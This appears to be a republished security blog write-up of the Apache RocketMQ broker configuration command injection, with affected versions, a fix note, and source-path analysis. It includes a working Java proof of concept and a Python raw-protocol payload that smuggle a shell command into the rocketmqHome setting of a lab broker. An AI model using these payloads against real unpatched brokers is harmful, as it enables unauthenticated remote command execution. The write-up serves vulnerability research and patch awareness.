Apache RocketMQ command injection

Vulnerability Profile

For RocketMQ 5.1.0 and below, under certain conditions, there is a risk of remote command execution. RocketMQ's NameServer, Broker, Controller and other components were leaked from the external network, and lacked permission verification. Attackers can use this vulnerability to use the update configuration function to execute commands as the system user running RocketMQ. In addition, attackers can achieve the same effect by forging the content of the RocketMQ protocol.

Affected version

5.0.0 <= Apache RocketMQ < 5.1.1

4.0.0 <= Apache RocketMQ < 4.9.6

security version

Apache RocketMQ 5.1.1

Apache RocketMQ 4.9.6

Vulnerability recurrence

Create a maven project locally and add dependencies

<dependencies>   
 <!-- https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools -->
        <dependency>
            <groupId>org.apache.rocketmq</groupId>
            <artifactId>rocketmq-tools</artifactId>
            <version>5.1.0</version>
        </dependency>
</dependencies>

Write Exploit Code

import org.apache.rocketmq.tools.admin.DefaultMQAdminExt;

import java.util.Properties;

public class poc1 {
    public static void main(String[] args) throws Exception {
        // 创建 Properties 对象
        Properties props = new Properties();
        //修改rocketmqHome配置
        props.setProperty("rocketmqHome","-c gnome-calculator test");
        props.setProperty("filterServerNums","1");
        // 创建 DefaultMQAdminExt 对象并启动
        DefaultMQAdminExt admin = new DefaultMQAdminExt();
        //此处为 namesrv 端口,此端口无需可访问
        admin.setNamesrvAddr("192.168.222.130:9876");
        admin.start();
        // 更新配置⽂件
        //此处为 broker 端口,必须可访问
        admin.updateBrokerConfig("192.168.222.130:10911", props);
        // 关闭 DefaultMQAdminExt 对象
        admin.shutdown();
    }
}

Vulnerability Analysis

20436bc2ba3a687a948385e48c98663f.jpeg 1acbc46d7f63a797a47514914b743caa.jpeg 91831a9f53bdb1f7d140c28b89211364.jpeg fef1a13d5ec00c6ffb370a555bbb4261.jpeg

We see that the really dangerous operation should be the operation of communicating with 10911, without authentication and encrypted transmission, and at the same time bringing in the parameters of command execution

org/apache/rocketmq/remoting/protocol/RequestCode.javacode represents calls to different functions

03a7a120edeef06c2ecf74d3b0dc46b7.jpeg org/apache/rocketmq/broker/processor/AdminBrokerProcessor.java#processRequest f18fdfc7d04107ccadca26cbd9ef1b44.jpeg org/apache/rocketmq/broker/processor/AdminBrokerProcessor.java#updateBrokerConfig 863372a0726ca3a3a267be699202b9ee.jpeg org/apache/rocketmq/remoting/Configuration.java#update 79442e14d0e76f06598469550bac18ea.jpeg

If the attribute name is its built-in, update operation

The latter part is clearer

org/apache/rocketmq/broker/BrokerStartup.java#start

7c9482ac4c81912047fa0703bec13b29.jpeg org/apache/rocketmq/broker/BrokerController.java#start 5819319038559e732aea9fb62b0985d1.jpeg org/apache/rocketmq/broker/BrokerController.java#startBasicService 581ee0352eb73663a688677ee6770faf.jpeg
image
org/apache/rocketmq/broker/filtersrv/FilterServerManager.java#start 0fc9a3d1e9bbcbffc56adf5776c9f41a.jpeg
image
According to the data packets captured from Wireshark, we can also construct such a payload to trigger the vulnerability
import socket
import binascii
client = socket.socket()

# you ip
client.connect(('192.168.222.130',10911))

# data
json='{"code":25,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8')
body='filterServerNums=1\nrocketmqHome=-c gnome-calculator test'.encode('utf-8')
json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2)               # 一个字节是2个十六进制数
head1 = '00000000'+str(hex(json_lens))[2:]                                   # hex(xxxx) 0x1243434 去掉 0x
all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens)    # 总长度要 加上 head1[-8:] 的值
head2 = '00000000'+str(hex(all_lens))[2:]
data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8') # 协议总长度+json长度+json+body

# send
client.send(bytes.fromhex(data))
data_recv = client.recv(1024)
print(data_recv)

Bug fixes

Modules for command execution are removed

0715abe40432bb426522330e2e0273c1.jpeg

Call for original manuscripts

Call for original technical articles, welcome to post

Submission email: [email protected]

Article type: hacker geek technology, information security hotspots, security research and analysis, etc.

If you pass the review and publish it, you can get a remuneration ranging from 200-800 yuan.

For more details, click me to view!

a37b24c45dab6e53b652516b904ef9a5.gif

Shooting range practice, click "Read the original text"

Guess you like

Origin blog.csdn.net/qq_38154820/article/details/132062931